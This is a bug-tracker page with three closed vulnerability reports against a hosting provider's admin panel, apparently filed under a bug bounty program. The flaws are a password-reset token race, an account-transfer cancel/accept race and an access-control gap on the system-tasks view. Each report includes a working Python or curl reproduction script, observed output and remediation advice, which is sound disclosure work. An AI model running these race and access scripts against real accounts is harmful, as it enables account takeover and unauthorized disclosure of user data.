All Projects

ID Status Summary Opened by
 513 Closed Password-reset token single-use is not race-safe — a co ...arise01x Task Description

# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix

Affected endpoint: `POST https://admin.alwaysdata.com/user/reset_password/?user_id=<u>&token=<t>&expiration=<e>` (the link sent by `POST /password/lost/`)
Related: #279 ("reusable login token URL") — this report shows the single-use fix it introduced does not hold under concurrency

## Summary
The password-reset link is single-use sequentially: a second use submitted after the first one completes returns *"Le lien utilisé est invalide"* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, all of them pass the validity check and all are processed as a successful reset — each returns `200` with the authenticated panel and issues an authenticated session. Final run: 4/4 concurrent requests accepted; earlier runs: 2/2 accepted (both times).

Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim's reset appears to proceed, while the attacker's simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.

## Preconditions
- An account whose mailbox the tester controls (own test accounts were used; free plan).
- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence Low; the finding is that the documented single-use property fails under concurrency.

## Steps to reproduce
1. Request a reset link (own account):

 ```
 curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
 curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
      -H 'Referer: https://admin.alwaysdata.com/password/lost/' \
      --data-urlencode 'csrfmiddlewaretoken=<csrf>' \
      --data-urlencode 'email=<account email>'
 ```
 → `200` on `/password/sent/`; the e-mail contains:
 `https://admin.alwaysdata.com/user/reset_password/?user_id=…&token=…&expiration=…`

2. Control (sequential). Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only after the first has completed. Result: first accepted, second rejected.

3. Race. N sessions each GET the link first, then POST simultaneously (thread barrier; `&` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.

Self-contained repro script (`python3 poc.py "<link>" <control|race> <N>`):

```python
import re, sys, threading, urllib.parse, urllib.request, http.cookiejar

BASE = "https://admin.alwaysdata.com"

def new_session(link):

  cj = http.cookiejar.CookieJar()
  op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  body = op.open(link, timeout=30).read().decode("utf-8", "replace")
  csrf = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', body).group(1)
  return op, csrf

def submit(op, link, csrf, password):

  data = urllib.parse.urlencode({"csrfmiddlewaretoken": csrf, "password": password}).encode()
  body = op.open(urllib.request.Request(link, data=data,
                headers={"Referer": link}), timeout=30).read().decode("utf-8", "replace")
  flat = re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", body, flags=re.S))
  if "lien utilisé est invalide" in flat: return "INVALID (rejected)"
  if "Logout" in flat:                    return "ACCEPTED (authenticated panel page)"
  return "?" 

def is_authed(op):

  home = op.open(BASE + "/", timeout=30).read().decode("utf-8", "replace")
  return "Logout" in re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", home, flags=re.S))

link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
sess = [new_session(link) for _ in range(n)]
if mode == "control": # second POST after the first completed

  for i, (op, csrf) in enumerate(sess):
      print("POST #%d:" % i, submit(op, link, csrf, "SeqPw%d!x7Kq" % i))

else: # all POSTs fired simultaneously

  out, barrier = {}, threading.Barrier(n)
  def worker(i):
      barrier.wait()
      out[i] = submit(sess[i][0], link, sess[i][1], "RacePw%d!xyz" % i)
  ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
  [t.start() for t in ts]; [t.join() for t in ts]
  for i in sorted(out): print("parallel POST #%d:" % i, out[i])

for i, (op, _) in enumerate(sess):

  print("session #%d authenticated: %s" % (i, is_authed(op)))

```

Observed — race (`race`, N=4, fresh link from a newly requested e-mail): ```
parallel POST #0: ACCEPTED (authenticated panel page)
parallel POST #1: ACCEPTED (authenticated panel page)
parallel POST #2: ACCEPTED (authenticated panel page)
parallel POST #3: ACCEPTED (authenticated panel page)
session #0 authenticated: True
session #1 authenticated: True
session #2 authenticated: True
session #3 authenticated: True
```
Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).

## Impact
- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.
- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker's parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.
- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.

## Remediation
- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=<t> AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as "already used" — reject in-flight duplicates instead of processing them.
- Mark the token used before applying the password change, so exactly one concurrent request wins.
- Defence in depth: on successful reset, invalidate the user's other outstanding reset links and existing sessions.

 512 Closed Account-transfer cancel and accept are not mutually exc ...arise01x Task Description

# Account-transfer cancel and accept are not mutually exclusive — a concurrent accept completes a transfer the owner cancelled (bypass of the #151/#156 fixes)

Severity: Medium
Affected: `POST https://admin.alwaysdata.com/transfer/<id>/cancel/` and `POST https://admin.alwaysdata.com/transfer/<id>/accept/`
Same root cause: `POST https://admin.alwaysdata.com/transfer/add/?_field_type=account` (the "one pending transfer per account" guard is racy)
Related: #156 ("Block concurrent transfer requests … conflict check", closed fixed) and #151 ("pending invitations invalidated upon transfer", closed fixed) — this report is a concurrency bypass of both guarantees

## Summary
The cancel and accept state transitions of an account-transfer request are not mutually exclusive. When the owner's cancel and the recipient's accept are submitted at the same instant, both commit: the cancel returns its success redirect and the panel shows *"The transfer has been cancelled."*, the accept returns its success redirect, and the account is nevertheless transferred to the recipient (with all its resources — sites, domains, mailboxes, databases, SSH). Sequentially the two are exclusive (cancel-then-accept → `404` on the accept; accept-then-cancel → `403` on the cancel), so only the concurrent window is at issue — the same non-atomic state-transition class as #279.

Two supporting defects in the same fix family:
1. The concurrent-request guard on transfer creation is also racy: parallel creates for the same account produced 2/4, 3/4 and 4/4 simultaneous pending records, while a sequential second attempt is refused ("Select a valid choice. That choice is not one of the available choices." — the account is removed from the form's selectable set while a transfer is pending).
2. `cancel` revokes only the record it names. With duplicates pending (per defect 1), cancelling one leaves the siblings listed and acceptable; accepting a surviving sibling moved the account — i.e. the revoked transfer still completed.

## Preconditions
Two accounts owned by the tester on the same platform: A (current owner / sender) and B (invited recipient). No third party is involved; ownership was reverted after every run. Testing was on the free plan, where only `_field_type=account` records can be created (the `site`/`domain` selects are empty for accounts without custom domains) — so the account-type transfer is the path exercised here; it is the same create/cancel/accept code path.

## Steps to reproduce
All requests must reuse a logged-in cookie jar per account (`-b jar -c jar`); the transfer record id must be a *fresh, pending* record created in step 1. (A stale/cancelled/consumed id returns `403` on cancel by design — that is the consumed-record signature, not the bug.)

1. A creates a transfer of A's account to B:

 ```
 TOK=$(curl -b jarA -c jarA -s 'https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
       | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
 curl -b jarA -c jarA -s -o /dev/null -w 'create=%{http_code}\n' -X POST \
   -H 'Referer: https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
   --data-urlencode "csrfmiddlewaretoken=$TOK" --data-urlencode "account=<A account id>" \
   --data-urlencode "email=<B email>" --data-urlencode "submit=Submit" \
   'https://admin.alwaysdata.com/transfer/add/?_field_type=account'
 ID=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ \
      | grep -o '/transfer/[0-9]*/' | grep -o '[0-9]*' | sort -n | tail -1)   # the new pending record
 ```
 → `create=302`; the record is listed for both parties; B's transfer page serves an accept form.

2. CSRF tokens for cancel/accept must come from each side's `/transfer/` LIST page (the cancel/accept URLs themselves contain no token):

 ```
 TOK_A=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
 TOK_B=$(curl -b jarB -c jarB -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
 ```

3. Owner cancels, recipient accepts — fired together (shell `&`; a thread barrier in a script is more deterministic):

 ```
 curl -b jarA -c jarA -s -o /dev/null -w 'cancel=%{http_code}\n' -X POST \
   -H "Referer: https://admin.alwaysdata.com/transfer/" \
   --data "csrfmiddlewaretoken=$TOK_A&submit=yes" \
   "https://admin.alwaysdata.com/transfer/$ID/cancel/" &
 curl -b jarB -c jarB -s -o /dev/null -w 'accept=%{http_code}\n' -X POST \
   -H "Referer: https://admin.alwaysdata.com/transfer/" \
   --data "csrfmiddlewaretoken=$TOK_B&submit=yes" \
   "https://admin.alwaysdata.com/transfer/$ID/accept/" &
 wait
 ```

4. Verify from B's own session: `GET /transfer/add/?_field_type=account` now lists A's account id in the recipient's select, although the owner's cancel returned `302` and A's panel showed *"The transfer has been cancelled."* (A GET of `/transfer/` immediately after the cancel shows the confirmation; A's own select no longer lists the account.)

### Observed (race)
Barrier-based run, 5 trials, fresh record per trial:
```
trial 1: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True
trial 2: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True
trial 3: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
trial 4: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
trial 5: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
RESULT: 2/5 trials moved the account
```
Earlier runs: 3/3 moved, and 4/4 moved (shell `&`). Overall 9/12 documented race attempts moved the account after the owner's cancellation; when the cancel wins instead, the accept receives its normal `404`. `MOVED=True` was verified from the recipient's own `/transfer/add/?_field_type=account` select containing the owner's account id, and the owner's panel listing no accounts. Ownership was reverted after every successful move (transfer in the opposite direction).

### Supporting defect 1 — racy create-guard (4 parallel creates for the same account)
```
parallel #0: (302) parallel #1: (302) parallel #2: (200) parallel #3: (302)
PENDING RECORDS: ['5098','5099','5100'] (sequential second create → refused)
```

### Supporting defect 2 — cancel revokes only the named record
With records `[5103..5106]` pending, cancelling only `5103` left `5104`/`5105`/`5106` listed for both parties and their accept form live (`GET /transfer/5104/accept/ → 200`); accepting `5104` moved the account. Positive control: when a transfer *completes*, the acceptance does invalidate all sibling records — accepts of `5099`/`5100` returned `404` afterwards.

## Impact
- The owner's cancellation is not authoritative. A recipient who was invited — or whose invitation the owner is revoking (e.g. sent by mistake) — can complete the transfer in the same instant the owner cancels: the owner sees *"The transfer has been cancelled."* while the account and all of its resources move to the recipient.
- The same root cause defeats #156's invariant ("concurrent transfer requests for the same account must be impossible"): the guard is racy, and duplicate records further weaken revocation, because cancelling one record does not revoke the transfer.
- Not bounded by brute force or scanning: a handful of requests per attempt; the only condition is that the recipient races their accept into the cancel window (the recipient is a legitimate party to the request).

## Remediation
- Make the state transition atomic and single-writer, e.g. `UPDATE transfer_request SET state='cancelled', … WHERE id=? AND state='pending'` and treat `rowcount == 0` as "already consumed" (same for accept); serialize both operations on the record row (`SELECT … FOR UPDATE` or an equivalent compare-and-set), so exactly one of cancel/accept wins and the loser observes the state it actually landed in.
- `cancel` (on either side, and especially by the owner) should atomically revoke all pending records for the account, not only the named one.
- Enforce "one pending transfer per account" with a uniqueness/constraint checked at commit time (and by the conditional insert), not only by excluding the account from the form's choices.
- Defence in depth: return a distinct error when a losing operation hits a non-pending record (a consumed-record cancel currently returns an opaque `403`).

 511 Closed System tasks (`/task/`) readable with any single delega ...arise01x Task Description

# System tasks (`/task/`) readable with any single delegated permission — mailbox addresses and database names disclosed beyond granted scope

Severity: Medium — per program tier *"Accessing permissions/config on user accounts without accessing content"*

Summary: When a customer delegates a single permission on their account (e.g. "Domains") to another user, every section of the admin panel correctly enforces its own permission — `/mailbox/`, `/database/`, `/ssl/`, `/account/usage/` all return 403 for a Domains-only delegate. The "System tasks" view is the exception: `/task/` and `/task/<id>/detail/` are accessible to any user holding at least one permission on the account — any permission works (Domains-only, SSL-only, Usage-only, Scheduled-tasks-only were each tested). The delegate can therefore read the account-wide operations feed, including operations for sections they are explicitly denied: mailbox addresses, database names, Apache/database operations.

The dedicated "Scheduled tasks" permission (`account_job`) *is* correctly enforced for `/job/` (403 without it, 200 with it), which shows section-level authorization exists and `/task/` simply does not apply it.
Access is grant-derived (not a cross-customer object IDOR): once the grant is removed, the same requests return 404.

Affected URL / endpoints: - `GET https://admin.alwaysdata.com/task/`
- `GET https://admin.alwaysdata.com/task/<id>/detail/`

Repro (clean curl) — two tester-owned accounts required; `A` is the owner of `adtesta1` (account id `503524`), `B` is a second user with no access initially:

```bash
BASE=https://admin.alwaysdata.com A_EMAIL='owner@example.com' A_PASS='owner-password' # owns adtesta1 (account id 503524)
B_EMAIL='delegate@example.com' B_PASS='delegate-password' # second user, no access yet

csrf() { grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' "$1" | head -1 | cut -d'"' -f4; }
login() { # $1=jar $2=email $3=password

curl -s -c "$1" "$BASE/login/" -o /tmp/login.html
curl -s -b "$1" -c "$1" -X POST "$BASE/login/" -H "Referer: $BASE/login/" \
     --data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/login.html)" \
     --data-urlencode "login=$2" --data-urlencode "password=$3" -o /dev/null

}

# — 1) Owner A grants delegate B ONLY the "Domains" permission on adtesta1 — login A.jar "$A_EMAIL" "$A_PASS"
curl -s -b A.jar -c A.jar "$BASE/permissions/add/" -o /tmp/grant.html
curl -s -b A.jar -c A.jar -X POST "$BASE/permissions/add/" -H "Referer: $BASE/permissions/add/" \

  1. -data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/grant.html)" \
  2. -data-urlencode "email=$B_EMAIL" \
  3. -data-urlencode "account=503524" \
  4. -data-urlencode "503524_account_domain=on" -o /dev/null

# (checkbox name pattern is <account_id>_account_<permission>)

# — 2) Delegate B logs in, switches to the adtesta1 object context, reads tasks — login B.jar "$B_EMAIL" "$B_PASS"
curl -s -b B.jar -c B.jar "$BASE/" -o /tmp/b.html
curl -s -b B.jar -c B.jar -X POST "$BASE/" -H "Referer: $BASE/" \

  1. -data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/b.html)" \
  2. -data-urlencode "change-object=account_adtesta1" -o /dev/null

# — 3) B reads the account's task feed — real data — curl -s -b B.jar -o /dev/null -w 'GET /task/ → %{http_code}\n' "$BASE/task/"
curl -s -b B.jar "$BASE/task/" \

| grep -o '/task/[0-9]*/detail/">\[[^]]*\][^<]*' \
| sed 's|/task/\([0-9]*\)/detail/">|\1  |' | head -4

# 40721533 [adtesta1] adtesta1@alwaysdata.net mailbox configuration
# 40720561 [adtesta1] Updating database permissions MySQL: adtesta1_db
# 40720560 [adtesta1] Database creation MySQL: adtesta1_db
# 40720415 [adtesta1] Database user creation RabbitMQ: adtesta1

# pick any task id shown in the list, then read its detail page:
curl -s -b B.jar -o /dev/null -w 'GET /task/<id>/detail/ → %{http_code}\n' "$BASE/task/<id>/detail/"
curl -s -b B.jar "$BASE/task/<id>/detail/" | tr '\n' ' ' \

| grep -oE '<th[^>]*>(Description|Opening date|Status|Involved account):</th>[[:space:]]*<td>[^<]*' \
| sed -E 's/<th[^>]*>//; s|</th>[[:space:]]*<td>| |'

# Description: [adtesta1] Updating Apache configuration
# Opening date: Oct 1, 2026, 5:38:58 PM
# Status: Completed
# Involved account: adtesta1

# — 4) Controls, same session — for u in /domain/ /mailbox/ /database/ /ssl/ /account/usage/ /job/; do

curl -s -b B.jar -o /dev/null -w "GET $u -> %{http_code}\n" "$BASE$u"

done
```

Observed — output of `repro-01-system-tasks-any-permission.sh` (2026-10-01, tester's accounts `adtesta1` id 503524 / `adtestb1` id 503525; full log in `evidence-01-run.txt`):

```
== 1) A grants B ONLY the 'Domains' permission on adtesta1 (503524)

 grant record: /permissions/493113/

== 3) B reads the System tasks of adtesta1 — real data shown below

 GET /task/ -> 200   rows leaked for [adtesta1]: 9   (own [adtestb1] rows: 11)
 --- rows of account adtesta1 as displayed to B ---
   40721533  [adtesta1] adtesta1@alwaysdata.net mailbox configuration
   40720561  [adtesta1] Updating database permissions MySQL: adtesta1_db
   40720560  [adtesta1] Database creation MySQL: adtesta1_db
   40720415  [adtesta1] Database user creation RabbitMQ: adtesta1
 GET /task/40720409/detail/ -> 200   --- page content as displayed to B ---
   Description: [adtesta1] Updating Apache configuration
   Opening date: Oct 1, 2026, 5:38:58 PM
   Status: Completed
   Involved account: adtesta1
 --- controls (same session) ---
 GET /domain/           -> 200
 GET /mailbox/          -> 403
 GET /database/         -> 403
 GET /ssl/              -> 403
 GET /account/usage/    -> 403
 GET /job/              -> 403

== 4) cleanup: remove the grant
== 5) verify restored

 A grant records now: 493112
 B GET /task/40720409/detail/  -> 404  (expect 404)

```

The 9 leaked rows include the account's mailbox address (`adtesta1@alwaysdata.net`) and database names (`adtesta1_db`, `adtesta1`),
even though B is denied `/mailbox/` and `/database/` (403).

Also reproduced with each of SSL-only, Usage-only and Scheduled-tasks-only grants — `/task/` returned 200 in every case.

Impact: A customer delegating a narrow permission cannot confine the delegate to that section. The delegate reads account-wide operational metadata — mailbox addresses (`adtesta1@alwaysdata.net`), database names (`adtesta1_db`), and operation descriptions — for sections from which they are explicitly blocked (403). Metadata only: no mailbox content, no database content, no credentials.

Remediation: Enforce a section-level check on `/task/` (and `/task/<id>/detail/`) — either a dedicated permission or filtering the task feed to the caller's granted sections, the same way `/job/` already enforces `account_job`.

Showing tasks 1 - 3 of 3 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing